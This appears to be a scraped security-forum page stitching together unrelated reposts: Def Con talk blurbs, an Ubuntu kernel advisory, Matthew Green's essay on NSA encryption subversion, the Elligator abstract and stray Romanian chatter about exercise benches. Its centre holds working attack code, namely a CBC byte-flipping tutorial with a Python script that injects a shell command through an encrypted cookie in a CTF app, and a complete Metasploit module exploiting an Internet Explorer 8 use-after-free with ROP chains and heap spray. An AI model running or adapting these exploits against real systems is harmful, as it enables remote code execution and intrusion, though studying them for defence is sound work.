Def Con 21 Presentation By Zoz - Hacking Driverless Vehicles - Video And Slides Description: Hacking Driverless Vehicles by Zoz Cannytrophic Design Are driverless vehicles ripe for the hacking? Autonomous and unmanned systems are already patrolling our skies and oceans and being tested on our streets and highways. All trends indicate these systems are at an inflection point that will show them rapidly becoming commonplace. It is therefore a salient time for a discussion of the capabilities and potential vulnerabilities of these systems. This session will be an informative and light-hearted look at the current state of civil driverless vehicles and what hackers or miscreants might do to mess with them. Topics covered will include common sensors, decision profiles and their potential failure modes that could be exploited. With this talk Zoz aims to both inspire unmanned vehicle fans to think about robustness to adversarial and malicious scenarios, and to give the paranoid false hope of resisting the robot revolution. He will also present details of how students can get involved in the ultimate sports events for robot hacking, the autonomous vehicle competitions. Zoz is a robotics interface designer and rapid prototyping specialist. He is a co-founder of Cannytrophic Design in Boston and CTO of BlueSky in San Francisco. As co-host of the Discovery Channel show 'Prototype This!' he pioneered urban pizza delivery with robotic vehicles, including the first autonomous crossing of an active highway bridge in the USA, and airborne delivery of life preservers at sea from an autonomous aircraft. He also hosts the annual AUVSI Foundation student autonomous robot competitions such as Roboboat and Robosub. For More information please visit : - Defcon.org Sursa: Def Con 21 Presentation By Zoz - Hacking Driverless Vehicles - Video And Slides

Def Con 21 Presentation By Mudge - Unexpected Stories From A Hacker Inside The Government Description: Unexpected Stories From a Hacker Who Made it Inside the Government by Peiter Mudge Zatko Having had the opportunity to see things from within the hacker community and from a senior position in the DoD, Mudge has some enlightening stories to share, and is picking some of his favorites. He'll discuss Julian's story to him about US government involvement in the origins of Wikileaks, how the DoD accidentally caused Anonymous to target government systems, some of the ways in which the defense industrial base's poor security works financially in its favor, and cases where the government missed opportunities for positive outreach and understanding with this community. You'll probably recognize parts of these stories from the news, but there are origins and back stories that are lesser known, and that should make for a good story time. For More Information please visit : - Defcon.org Sursa: Def Con 21 Presentation By Mudge - Unexpected Stories From A Hacker Inside The Government

New Kernel Vulnerabilities Affect Ubuntu 12.10 September 11th, 2013, 07:10 GMT · By Marius Nestor - Ubuntu 12.10 Canonical announced a few days ago that a kernel update is available for its Ubuntu 12.10 (Quantal Quetzal) Linux operating system, fixing eight vulnerabilities found in the Linux kernel packages. The following eight Linux kernel vulnerabilities affect Ubuntu 12.10 (Quantal Quetzal): CVE-2012-5374, CVE-2012-5375, CVE-2013-1060, CVE-2013-2140, CVE-2013-2232, CVE-2013-2234, CVE-2013-4162, and CVE-2013-4163. As usual, you can click on each one to see how it affects your system, or go here for in-depth descriptions, as it affects other Linux distributions as well. The security flaws can be fixed if you upgrade your system(s) to the linux-image-3.5.0-40 (3.5.0-40.62) package(s). For detailed instructions on how to upgrade your system, see the following link: https://wiki.ubuntu.com/Security/Upgrades. We inform everyone that Ubuntu 13.04, Ubuntu 12.04 LTS and Ubuntu 10.04 LTS also received kernel updates today. Don't forget to reboot your computer after the upgrade. Sursa: New Kernel Vulnerabilities Affect Ubuntu 12.10

CBC Byte Flipping Attack - 101 Approach As usual, there are some explanations about this attack out there (see references at the end), but requires some knowledge to understand it properly, so, here I will describe step by step how to perform this attack. Purpose of the Attack: To change a byte in the plaintext by corrupting a byte in the ciphertext. Why? To bypass filters by adding malicious chars like a single quote, or to elevate privileges by changing the ID of the user to Admin, or any other consequence of changing the plaintext expected by an Application. Introduction First of all, let's start understanding how CBC (Cipher-block chaining) works. A detailed explanation can be found here: Block cipher mode of operation - Wikipedia, the free encyclopedia But I will only explain what is needed to understand the attack. Encryption process: Plaintext: The data to be encrypted. IV: A block of bits that is used to randomize the encryption and hence to produce distinct ciphertexts even if the same plaintext is encrypted multiple times. Key: Used by Symmetric Encryption Algorithms like AES, Blowfish, DES, Triple DES, etc. Ciphertext: The data encrypted. An important point here is that CBC works on fixed-length group of bits called a block. In this blog, we will use blocks of 16 bytes each. Since I hate mathematical formulas, below is mine: Ciphertext-0 = Encrypt(Plaintext XOR IV) - Just for the first block Ciphertext-N= Encrypt(Plaintext XOR Ciphertext-N-1) - For second and remaining blocks. Note: As you can see, the ciphertext of the previous block is used to generate the next one. Decryption Process: Plaintext-0 = Decrypt(Ciphertext) XOR IV - Just for the first block Plaintext-N= Decrypt(Ciphertext) XOR Ciphertext-N-1 - For second and remaining blocks. Note: The Ciphertext-N-1 is used to generate the Plaintext of the next block, this is where Byte Flipping Attack comes into play. If we change one byte of the Ciphertext-N-1 then when XORing with the net Decrypted block we will get a different Plaintext! You got it? Do not worry, we will see a detailed example below. Meanwhile, below is a nice diagram explaining this attack: Example: CBC Blocks of 16 bytes. Let's say we have this serialized plaintext: a:2:{s:4:"name";s:6:"sdsdsd";s:8:"greeting";s:20:"echo 'Hello sdsdsd!'";} Our target is to change the number 6 at "s:6" to number "7". First thing we need to do is to split the plaintext into 16 bytes chunks: Block 1: a:2:{s:4:"name"; Block 2 s:6:"sdsdsd";s:8 <<<-----target div="" here=""> Block 3: :"greeting";s:20: Block 4: "echo 'Hello sd Block 5: sdsd!'";} So, our target char is located at block 2 which means, we need to change the ciphertext of Block 1 to change the plaintext of the second block. A rule of thumb is that the byte you change in a ciphertext will ONLY affect a byte at same offset of next plaintext. Since our target is at offset 2: [0] = s [1] = : [2] = 6 Therefore, we need to change the byte at offset 2 of the first ciphertext block. As you can see in the code below, at line 2 we get the ciphertext of the whole data, then at line 3 we change the byte of block 1 at offset 2 and finally we call the decryption function. 1. $v = "a:2:{s:4:"name";s:6:"sdsdsd";s:8:"greeting";s:20:"echo 'Hello sdsdsd!'";}"; 2. $enc = @encrypt($v); 3. $enc[2] = chr(ord($enc[2]) ^ ord("6") ^ ord ("7")); 4. $b = @decrypt($enc); After running this code we are able to change number 6 to 7: But, how did we change the byte to the value we wanted at line 3? Based on the decryption process described above, we know that A = Decrypt(Ciphertext) is XOR with B = Ciphertext-N-1 to finally get C = 6. Which is equal to: C = A XOR B So, here the only value we do not know is A (block cipher decryption), so, with XOR we can easily get that value by doing: A = B XOR C And finally, A XOR B XOR C is equal to 0. With this formula, we can set our own value by adding it at the end of the XOR calculation, like: A XOR B XOR C XOR "7" will give us 7 in the plaintext at offset 2 on the second block. Below is the PHP source code so that you can replicate it: [Code Starts Here] define('MY_AES_KEY', "abcdef0123456789"); function aes($data, $encrypt) { $aes = mcrypt_module_open(MCRYPT_RIJNDAEL_128, '', MCRYPT_MODE_CBC, ''); $iv = "1234567891234567"; mcrypt_generic_init($aes, MY_AES_KEY, $iv); return $encrypt ? mcrypt_generic($aes,$data) : mdecrypt_generic($aes,$data); } define('MY_MAC_LEN', 40); function encrypt($data) { return aes($data, true); } function decrypt($data) { $data = rtrim(aes($data, false), "\0"); return $data; } $v = "a:2:{s:4:\"name\";s:6:\"sdsdsd\";s:8:\"greeting\";s:20:\"echo 'Hello sdsdsd!'\";}"; echo "Plaintext before attack: $v\n"; $b = array(); $enc = array(); $enc = @encrypt($v); $enc[2] = chr(ord($enc[2]) ^ ord("6") ^ ord ("7")); $b = @decrypt($enc); echo "Plaintext AFTER attack : $b\n"; [Code Ends Here] Try changing the char from "7" to "A" or something else to see how it works. Exercise 2: Now that we understood how this attack works, let's do a more real-world exercise. Some weeks ago took place the CTF Competition hosted by the team Eindbazen, there was a Web 400 challenge called "Moo!", You can see all the details of this task at the end of the blog in the reference 2 and 3, here I am just going to describe the final steps of breaking CBC. We were provided with the source code for analysis, below is the chunk important for this exercise: Basically, you will submit any text in the POST parameter "name" and the App will respond with a Hello message concatenating the text submitted at the end, but two things happens before printing back the message: 1. The POST "name" parameter is filtered out by PHP escapeshellarg() function (which mainly will escape single quotes to prevent injecting malicious commands), then store it in the Array->greeting field to finally creating a cookie encrypted with this value. 2. Then the content of Array->greeting field is executed via PHP passthru() function, which is used to execute System commands. 3. Finally, anytime the page is accessed, if the cookie already exist, it will be decrypted and then its content executed via passthru() function. Here is where our CBC attack will give us a different plaintext as explained in previous section. So, I tried to inject below string in the POST parameter "name": name = 'X' + ';cat *;#a' I added the char "X" which is the one to be replaced with a single quote via CBC byte flipping attack, then the command to be executed ;cat *; and finally an "#" which is interpreted as a comment by the shell so that we do not get problems with the last single quote inserted by escapeshellarg() function and therefore our command gets executed successfully. After calculating the exact offset of previous ciphertext block byte to be changed (offset 51), I executed below code to inject a single quote: pos = 51; val = chr(ord('X') ^ ord("'") ^ ord(cookie[pos])) exploit = cookie[0os] + val + cookie[pos + 1:] I am altering the cookie since it has the whole ciphertext. Finally, I got below result: First, we can see in yellow that our "X" was successfully change to a single quote in the second block, but since the first block was altered, it got garbage inserted (in green) which causes an error when trying to unserialize() the data (in red), and therefore, the app did not even try to execute our injection. How to fix it? So, basically, we need to play with our injected data until we get garbage in the first block that does not cause any problem during unserialization. A way to get around it is by padding our malicious command with alphabetic chars. Therefore we come up with this injection string padding with multiple 'z' before and after: name = 'z'*17 + 'X' + ';cat *;#' + 'z' *16 After sending above string, voila!!!, unserialize() does not complain with the garbage received and our shell command is executed successfully!!!! If you want to replicate this exercise, below in the Appendix section is the PHP code running on the server side and the python script (little bit modified from code provided by Daniel from hardc0de.ru, thanks!!!) to perform the exploitation. Finally, I want to thank the guys of the references mentioned below for writing those excellent blogs. References: 1. CRYPTO #2: http://blog.gdssecurity.com/labs/tag/crypto 2. http://codezen.fr/2013/08/05/ebctf-2013-web400-cryptoaescbchmac-write-up/ 3. http://hardc0de.ru/2013/08/04/ebctf-web400/ Enjoy it! Appendix: PHP code: ini_set('display_errors',1);error_reporting(E_ALL); define('MY_AES_KEY', "abcdef0123456789"); define('MY_HMAC_KEY',"1234567890123456" ); #define("FLAG","CENSORED"); function aes($data, $encrypt) { $aes = mcrypt_module_open(MCRYPT_RIJNDAEL_128, '', MCRYPT_MODE_CBC, ''); $iv = mcrypt_create_iv (mcrypt_enc_get_iv_size($aes), MCRYPT_RAND); $iv = "1234567891234567"; mcrypt_generic_init($aes, MY_AES_KEY, $iv); return $encrypt ? mcrypt_generic($aes, $data) : mdecrypt_generic($aes, $data); } define('MY_MAC_LEN', 40); function hmac($data) { return hash_hmac('sha1', data, MY_HMAC_KEY); } function encrypt($data) { return aes($data . hmac($data), true); } function decrypt($data) { $data = rtrim(aes($data, false), "\0"); $mac = substr($data, -MY_MAC_LEN); $data = substr($data, 0, -MY_MAC_LEN); return hmac($data) === $mac ? $data : null; } $settings = array(); if (@$_COOKIE['settings']) { echo @decrypt(base64_decode($_COOKIE['settings'])); $settings = unserialize(@decrypt(base64_decode($_COOKIE['settings']))); } if (@$_POST['name'] && is_string($_POST['name']) && strlen($_POST['name']) < 200) { $settings = array( 'name' => $_POST['name'], 'greeting' => ('echo ' . escapeshellarg("Hello {$_POST['name']}!")), ); setcookie('settings', base64_encode(@encrypt(serialize($settings)))); #setcookie('settings', serialize($settings)); } $d = array(); if (@$settings['greeting']) { passthru($settings['greeting']); } else { echo "What is your name? echo "input name='name' type='text'"; echo "input name='submit' type='submit' "; } Exploit: #!/usr/bin/pythonimport requests import sys import urllib from base64 import b64decode as dec from base64 import b64encode as enc url = 'http://192.168.184.133/ebctf/mine.php' def Test(x): t = "echo 'Hello %s!'" % x s = 'a:2:{s:4:"name";s:%s:"%s";s:8:"greeting";s:%s:"%s";}%s' % (len(x),x,len(t),t, 'X'*40) for i in xrange(0,len(s),16): print s[i:i+16] print '\n' def Pwn(s): global url s = urllib.quote_plus(enc(s)) req = requests.get(url, cookies = {'settings' : s}).content # if req.find('works') != -1: print req # else: # print '[-] FAIL' def GetCookie(name): global url d = { 'name':name, 'submit':'Submit' } h = requests.post(url, data = d, headers = {'Content-Type' : 'application/x-www-form-urlencoded'}).headers if h.has_key('set-cookie'): h = dec(urllib.unquote_plus(h['set-cookie'][9:])) #h = urllib.unquote_plus(h['set-cookie'][9:]) #print h return h else: print '[-] ERROR' sys.exit(0) #a:2:{s:4:"name";s:10:"X;cat *;#a";s:8:"greeting";s:24:"echo 'Hello X;cat *;#a!'";} #a:2:{s:4:"name"; #s:10:"X;cat *;#a #";s:8:"greeting" #;s:24:"echo 'Hel #lo X;cat *;#a!'" #;} #a:2:{s:4:"name";s:42:"zzzzzzzzzzzzzzzzzX;cat *;#zzzzzzzzzzzzzzzz";s:8:"greeting";s:56:"echo 'Hello zzzzzzzzzzzzzzzzzX;cat *;#zzzzzzzzzzzzzzzz!'";} #a:2:{s:4:"name"; #s:42:"zzzzzzzzzz #zzzzzzzX;cat *;# #zzzzzzzzzzzzzzzz #";s:8:"greeting" #;s:56:"echo 'Hel #lo zzzzzzzzzzzzz #zzzzX;cat *;#zzz #zzzzzzzzzzzzz!'" #;} #exploit = 'X' + ';cat *;#a' #Test case first, unsuccess exploit = 'z'*17 + 'X' + ';cat *;#' + 'z' *16 # Test Success #exploit = "______________________________________________________; cat *;#" #Test(exploit) cookie = GetCookie(exploit) pos = 100; #test case success #pos = 51; #test case first, unsuccess val = chr(ord('X') ^ ord("'") ^ ord(cookie[pos])) exploit = cookie[0:pos] + val + cookie[pos + 1:] Pwn(exploit) Posted by Danux at 12:24 PM Sursa: http://danuxx.blogspot.ro/2013/09/cbc-byte-flipping-attack-101-approach.html

[h=1]MS13-055 Microsoft Internet Explorer CAnchorElement Use-After-Free[/h] ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML def initialize(info={}) super(update_info(info, 'Name' => "MS13-055 Microsoft Internet Explorer CAnchorElement Use-After-Free", 'Description' => %q{ In IE8 standards mode, it's possible to cause a use-after-free condition by first creating an illogical table tree, where a CPhraseElement comes after CTableRow, with the final node being a sub table element. When the CPhraseElement's outer content is reset by using either outerText or outerHTML through an event handler, this triggers a free of its child element (in this case, a CAnchorElement, but some other objects apply too), but a reference is still kept in function SRunPointer::SpanQualifier. This function will then pass on the invalid reference to the next functions, eventually used in mshtml!CElement::Doc when it's trying to make a call to the object's SecurityContext virtual function at offset +0x70, which results a crash. An attacker can take advantage of this by first creating an CAnchorElement object, let it free, and then replace the freed memory with another fake object. Successfully doing so may allow arbitrary code execution under the context of the user. This bug is specific to Internet Explorer 8 only. It was originally discovered by Orange Tsai at Hitcon 2013, but was silently patched in the July 2013 update. }, 'License' => MSF_LICENSE, 'Author' => [ 'Orange Tsai', # Original discovery, PoC 'Peter Vreugdenhil', # Joins the party (wtfuzz) 'sinn3r' # Joins the party ], 'References' => [ [ 'MSB', 'MS13-055' ], [ 'URL', 'https://speakerd.s3.amazonaws.com/presentations/0df98910d26c0130e8927e81ab71b214/for-share.pdf' ] ], 'Platform' => 'win', 'Targets' => [ [ 'Automatic', {} ], [ 'IE 8 on Windows XP SP3', { 'Rop' => :msvcrt, 'Pivot' => 0x77c15ed5, # xchg eax, esp; ret 'Align' => 0x77c4d801 # add esp, 0x2c; ret } ], [ 'IE 8 on Windows 7', { 'Rop' => :jre, 'Pivot' => 0x7c348b05, # xchg eax, esp; ret 'Align' => 0x7C3445F8 # add esp, 0x2c; ret } ] ], 'Payload' => { 'BadChars' => "\x00" }, 'DefaultOptions' => { 'InitialAutoRunScript' => 'migrate -f' }, 'Privileged' => false, 'DisclosureDate' => "Jul 09 2013", 'DefaultTarget' => 0)) end def get_target(agent) return target if target.name != 'Automatic' nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || '' ie = agent.scan(/MSIE (\d)/).flatten[0] || '' ie_name = "IE #{ie}" case nt when '5.1' os_name = 'Windows XP SP3' when '6.1' os_name = 'Windows 7' end targets.each do |t| if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name)) return t end end nil end def get_payload(t, cli) rop = '' code = payload.encoded esp_align = "\x81\xEC\xF0\xD8\xFF\xFF" # sub esp, -10000 case t['Rop'] when :msvcrt # Stack adjustment # add esp, -3500 esp_align = "\x81\xc4\x54\xf2\xff\xff" print_status("Using msvcrt ROP") rop = [ 0x77c1e844, # POP EBP # RETN [msvcrt.dll] 0x77c1e844, # skip 4 bytes [msvcrt.dll] 0x77c4fa1c, # POP EBX # RETN [msvcrt.dll] 0xffffffff, 0x77c127e5, # INC EBX # RETN [msvcrt.dll] 0x77c127e5, # INC EBX # RETN [msvcrt.dll] 0x77c4e0da, # POP EAX # RETN [msvcrt.dll] 0x2cfe1467, # put delta into eax (-> put 0x00001000 into edx) 0x77c4eb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll] 0x77c58fbc, # XCHG EAX,EDX # RETN [msvcrt.dll] 0x77c34fcd, # POP EAX # RETN [msvcrt.dll] 0x2cfe04a7, # put delta into eax (-> put 0x00000040 into ecx) 0x77c4eb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll] 0x77c14001, # XCHG EAX,ECX # RETN [msvcrt.dll] 0x77c3048a, # POP EDI # RETN [msvcrt.dll] 0x77c47a42, # RETN (ROP NOP) [msvcrt.dll] 0x77c46efb, # POP ESI # RETN [msvcrt.dll] 0x77c2aacc, # JMP [EAX] [msvcrt.dll] 0x77c3b860, # POP EAX # RETN [msvcrt.dll] 0x77c1110c, # ptr to &VirtualAlloc() [IAT msvcrt.dll] 0x77c12df9, # PUSHAD # RETN [msvcrt.dll] 0x77c35459 # ptr to 'push esp # ret ' [msvcrt.dll] ].pack("V*") else print_status("Using JRE ROP") rop = [ 0x7c37653d, # POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN 0xfffffdff, # Value to negate, will become 0x00000201 (dwSize) 0x7c347f98, # RETN (ROP NOP) [msvcr71.dll] 0x7c3415a2, # JMP [EAX] [msvcr71.dll] 0xffffffff, 0x7c376402, # skip 4 bytes [msvcr71.dll] 0x7c351e05, # NEG EAX # RETN [msvcr71.dll] 0x7c345255, # INC EBX # FPATAN # RETN [msvcr71.dll] 0x7c352174, # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN [msvcr71.dll] 0x7c344f87, # POP EDX # RETN [msvcr71.dll] 0xffffffc0, # Value to negate, will become 0x00000040 0x7c351eb1, # NEG EDX # RETN [msvcr71.dll] 0x7c34d201, # POP ECX # RETN [msvcr71.dll] 0x7c38b001, # &Writable location [msvcr71.dll] 0x7c347f97, # POP EAX # RETN [msvcr71.dll] 0x7c37a151, # ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll] 0x7c378c81, # PUSHAD # ADD AL,0EF # RETN [msvcr71.dll] 0x7c345c30 # ptr to 'push esp # ret ' [msvcr71.dll] # rop chain generated with mona.py ].pack("V*") end rop_payload = rop rop_payload << esp_align rop_payload << code rop_payload << rand_text_alpha(12000) unless t['Rop'] == :msvcrt rop_payload end def junk rand_text_alpha(4).unpack("V")[0].to_i end def nop make_nops(4).unpack("V")[0].to_i end def get_html(t, p) js_pivot = Rex::Text.to_unescape([t['Pivot']].pack("V*")) js_payload = Rex::Text.to_unescape(p) js_align = Rex::Text.to_unescape([t['Align']].pack("V*")) js_junk = Rex::Text.to_unescape([junk].pack("V*")) q_id = Rex::Text.rand_text_alpha(1) html = %Q| <!DOCTYPE html> <HTML XMLNS:t ="urn:schemas-microsoft-com:time"> <head> <meta> <?IMPORT namespace="t" implementation="#default#time2"> </meta> </head> <script> #{js_mstime_malloc} window.onload = function() { var x = document.getElementById("#{q_id}"); x.outerText = ""; a = document.getElementById('myanim'); p = ''; for (i=0; i < 7; i++) { p += unescape("#{js_junk}"); } p += unescape("#{js_payload}"); fo = unescape("#{js_align}"); for (i=0; i < 28; i++) { if (i == 27) { fo += unescape("#{js_pivot}"); } else { fo += unescape("#{js_align}"); } } fo += p; mstime_malloc({shellcode:fo, heapBlockSize:0x68, objId:"myanim"}); } </script> <table> <tr> <div> <span> <q id='#{q_id}'> <a> <td></td> </a> </q> </span> </div> </tr> </table> <t:ANIMATECOLOR id="myanim"/> </html> | html end def on_request_uri(cli, request) agent = request.headers['User-Agent'] t = get_target(agent) if t p = get_payload(t, cli) html = get_html(t, p) print_status("Sending exploit...") send_response(cli, html, {'Content-Type'=>'text/html', 'Cache-Control'=>'no-cache'}) else print_error("Not a suitable target: #{agent}") send_not_found(cli) end end end Sursa: MS13-055 Microsoft Internet Explorer CAnchorElement Use-After-Free

[h=3]On the NSA[/h]Let me tell you the story of my tiny brush with the biggest crypto story of the year. A few weeks ago I received a call from a reporter at ProPublica, asking me background questions about encryption. Right off the bat I knew this was going to be an odd conversation, since this gentleman seemed convinced that the NSA had vast capabilities to defeat encryption. And not in a 'hey, d'ya think the NSA has vast capabilities to defeat encryption?' kind of way.No, he'd already established the defeating. We were just haggling over the details. Oddness aside it was a fun (if brief) set of conversations, mostly involving hypotheticals. If the NSA could do this, how might they do it? What would the impact be? I admit that at this point one of my biggest concerns was to avoid coming off like a crank. After all, if I got quoted sounding too much like an NSA conspiracy nut, my colleagues would laugh at me. Then I might not get invited to the cool security parties. All of this is a long way of saying that I was totally unprepared for today's bombshell revelations describing the NSA's efforts to defeat encryption. Not only does the worst possible hypothetical I discussed appear to be true, but it's true on a scale I couldn't even imagine. I'm no longer the crank. I wasn't even close to cranky enough. And since I never got a chance to see the documents that sourced the NYT/ProPublica story -- and I would give my right arm to see them -- I'm determined to make up for this deficit with sheer speculation. Which is exactly what this blog post will be. 'Bullrun' and 'Cheesy Name' If you haven't read the ProPublica/NYT or Guardian stories, you probably should. The TL;DR is that the NSA has been doing some very bad things. At a combined cost of $250 million per year, they include: Tampering with national standards (NIST is specifically mentioned) to promote weak, or otherwise vulnerable cryptography. Influencing standards committees to weaken protocols. Working with hardware and software vendors to weaken encryption and random number generators. Attacking the encryption used by 'the next generation of 4G phones'. Obtaining cleartext access to 'a major internet peer-to-peer voice and text communications system' (Skype?) Identifying and cracking vulnerable keys. Establishing a Human Intelligence division to infiltrate the global telecommunications industry. And worst of all (to me): somehow decrypting SSL connections. All of these programs go by different code names, but the NSA's decryption program goes by the name 'Bullrun' so that's what I'll use here. How to break a cryptographic system There's almost too much here for a short blog post, so I'm going to start with a few general thoughts. Readers of this blog should know that there are basically three ways to break a cryptographic system. In no particular order, they are: Attack the cryptography. This is difficult and unlikely to work against the standard algorithms we use (though there are exceptions like RC4.) However there are many complex protocols in cryptography, and sometimes they are vulnerable. Go after the implementation. Cryptography is almost always implemented in software -- and software is a disaster. Hardware isn't that much better. Unfortunately active software exploits only work if you have a target in mind. If your goal is mass surveillance, you need to build insecurity in from the start. That means working with vendors to add backdoors. Access the human side. Why hack someone's computer if you can get them to give you the key? Bruce Schneier, who has seen the documents, says that 'math is good', but that 'code has been subverted'. He also says that the NSA is 'cheating'. Which, assuming we can trust these documents, is a huge sigh of relief. But it also means we're seeing a lot of (2) and (3) here. So which code should we be concerned about? Which hardware? [TABLE=class: tr-caption-container] [TR] [TD=align: center][/TD] [/TR] [TR] [TD=class: tr-caption, align: center]SSL Servers by OS type. Source: Netcraft.[/TD] [/TR] [/TABLE] This is probably the most relevant question. If we're talking about commercial encryption code, the lion's share of it uses one of a small number of libraries. The most common of these are probably the Microsoft CryptoAPI (and Microsoft SChannel) along with the OpenSSL library. Of the libraries above, Microsoft is probably due for the most scrutiny. While Microsoft employs good (and paranoid!) people to vet their algorithms, their ecosystem is obviously deeply closed-source. You can view Microsoft's code (if you sign enough licensing agreements) but you'll never build it yourself. Moreover they have the market share. If any commercial vendor is weakening encryption systems, Microsoft is probably the most likely suspect. And this is a problem because Microsoft IIS powers around 20% of the web servers on the Internet -- and nearly forty percent of the SSL servers! Moreover, even third-party encryption programs running on Windows often depend on CAPI components, including the random number generator. That makes these programs somewhat dependent on Microsoft's honesty. Probably the second most likely candidate is OpenSSL. I know it seems like heresy to imply that OpenSSL -- an open source and widely-developed library -- might be vulnerable. But at the same time it powers an enormous amount of secure traffic on the Internet, thanks not only to the dominance of Apache SSL, but also due to the fact that OpenSSL is used everywhere. You only have to glance at the FIPS CMVP validation lists to realize that many 'commercial' encryption products are just thin wrappers around OpenSSL. Unfortunately while OpenSSL is open source, it periodically coughs up vulnerabilities. Part of this is due to the fact that it's a patchwork nightmare originally developed by a programmer who thought it would be a fun way to learn Bignum division.* Part of it is because crypto is unbelievably complicated. Either way, there are very few people who really understand the whole codebase. On the hardware side (and while we're throwing out baseless accusations) it would be awfully nice to take another look at the Intel Secure Key integrated random number generators that most Intel processors will be getting shortly. Even if there's no problem, it's going to be an awfully hard job selling these internationally after today's news. Which standards? From my point of view this is probably the most interesting and worrying part of today's leak. Software is almost always broken, but standards -- in theory -- get read by everyone. It should be extremely difficult to weaken a standard without someone noticing. And yet the Guardian and NYT stories are extremely specific in their allegations about the NSA weakening standards. The Guardian specifically calls out the National Institute of Standards and Technology (NIST) for a standard they published in 2006. Cryptographers have always had complicated feelings about NIST, and that's mostly because NIST has a complicated relationship with the NSA. Here's the problem: the NSA ostensibly has both a defensive and an offensive mission. The defensive mission is pretty simple: it's to make sure US information systems don't get pwned. A substantial portion of that mission is accomplished through fruitful collaboration with NIST, which helps to promote data security standards such as the Federal Information Processing Standards (FIPS) and NIST Special Publications. I said cryptographers have complicated feelings about NIST, and that's because we all know that the NSA has the power to use NIST for good as well as evil. Up until today there's been no real evidence of malice, despite some occasional glitches -- and compelling evidence that at least one NIST cryptographic standard could have contained a backdoor. But now maybe we'll have to re-evaluate that relationship. As utterly crazy as it may seem. Unfortunately, we're highly dependent on NIST standards, ranging from pseudo-random number generators to hash functions and ciphers, all the way to the specific elliptic curves we use in SSL/TLS. While the possibility of a backdoor in any of these components does seem remote, trust has been violated. It's going to be an absolute nightmare ruling it out. Which people? Probably the biggest concern in all this is the evidence of collaboration between the NSA and unspecified 'telecom providers'. We already know that the major US (and international) telecom carriers routinely assist the NSA in collecting data from fiber-optic cables. But all this data is no good if it's encrypted. While software compromises and weak standards can help the NSA deal with some of this, by far the easiest way to access encrypted data is to simply ask for -- or steal -- the keys. This goes for something as simple as cellular encryption (protected by a single key database at each carrier) all the way to SSL/TLS which is (most commonly) protected with a few relatively short RSA keys. The good and bad thing is that as the nation hosting the largest number of popular digital online services (like Google, Facebook and Yahoo) many of those critical keys are located right here on US soil. Simultaneously, the people communicating with those services -- i.e., the 'targets' -- may be foreigners. Or they may be US citizens. Or you may not know who they are until you scoop up and decrypt all of their traffic and run it for keywords. Which means there's a circumstantial case that the NSA and GCHQ are either directly accessing Certificate Authority keys** or else actively stealing keys from US providers, possibly (or probably) without executives' knowledge. This only requires a small number of people with physical or electronic access to servers, so it's quite feasible.*** The one reason I would have ruled it out a few days ago is because it seems so obviously immoral if not illegal, and moreover a huge threat to the checks and balances that the NSA allegedly has to satisfy in order to access specific users' data via programs such as PRISM. To me, the existence of this program is probably the least unexpected piece of all the news today. Somehow it's also the most upsetting. So what does it all mean? I honestly wish I knew. Part of me worries that the whole security industry will talk about this for a few days, then we'll all go back to our normal lives without giving it a second thought. I hope we don't, though. Right now there are too many unanswered questions to just let things lie. The most likely short-term effect is that there's going to be a lot less trust in the security industry. And a whole lot less trust for the US and its software exports. Maybe this is a good thing. We've been saying for years that you can't trust closed code and unsupported standards: now people will have to verify. Even better, these revelations may also help to spur a whole burst of new research and re-designs of cryptographic software. We've also been saying that even open code like OpenSSL needs more expert eyes. Unfortunately there's been little interest in this, since the clever researchers in our field view these problems as 'solved' and thus somewhat uninteresting. What we learned today is that they're solved all right. Just not the way we thought. Notes: * The original version of this post repeated a story I heard recently (from a credible source!) about Eric Young writing OpenSSL as a way to learn C. In fact he wrote it as a way to learn Bignum division, which is way cooler. Apologies Eric! ** I had omitted the Certificate Authority route from the original post due to an oversight -- thanks to Kenny Patterson for pointing this out -- but I still think this is a less viable attack for passive eavesdropping (that does not involve actively running a man in the middle attack). And it seems that much of the interesting eavesdropping here is passive. *** The major exception here is Google, which deploys Perfect Forward Secrecy for many of its connections, so key theft would not work here. To deal with this the NSA would have to subvert the software or break the encryption in some other way. Posted by Matthew Green at 11:27 PM Sursa: A Few Thoughts on Cryptographic Engineering: On the NSA

Elligator: Elliptic-curve points indistinguishable from uniform random strings Daniel J. Bernstein1;3 1Department of Computer Science University of Illinois at Chicago Chicago, IL 60607–7045 USA djb@cr.yp.to Anna Krasnova2 2Privacy & Identity lab Institute for Computing and Information Sciences Radboud University Nijmegen Heyendaalseweg 135 6525 AJ Nijmegen The Netherlands anna@mechanicalmind. org Tanja Lange3 3Department of Mathematics and Computer Science Technische Universiteit Eindhoven P.O. Box 513 5600 MB Eindhoven The Netherlands tanja@hyperelliptic.org ABSTRACT Censorship-circumvention tools are in an arms race against censors. The censors study all trac passing into and out of their controlled sphere, and try to disable censorshipcircumvention tools without completely shutting down the Internet. Tools aim to shape their trac patterns to match unblocked programs, so that simple trac proling cannot identify the tools within a reasonable number of traces; the censors respond by deploying rewalls with increasingly sophisticated deep-packet inspection. Cryptography hides patterns in user data but does not evade censorship if the censor can recognize patterns in the cryptography itself. In particular, elliptic-curve cryptography often transmits points on known elliptic curves, and those points are easily distinguishable from uniform random strings of bits. This paper introduces high-security high-speed ellipticcurve systems in which elliptic-curve points are encoded so as to be indistinguishable from uniform random strings. Slides: http://cr.yp.to/talks/2013.05.31/slides-dan+tanja-20130531-4x3.pdf Paper: http://cr.yp.to/elligator/elligator-20130527.pdf

Exista categoria RST Market.

Nu imi dau seama din poze despre ce e vorba. Am si eu banca de abdomene, am dat cred ca vreo 80 RON pe ea, probabil cea mai ieftina, ceva "Active". Nu cred ca te ajuta prea mult daca se inclina sau nu. Practic, cele mai ok abdomene nu le faci pe banca, le faci culcat si cu picioarele la 90 de grade.

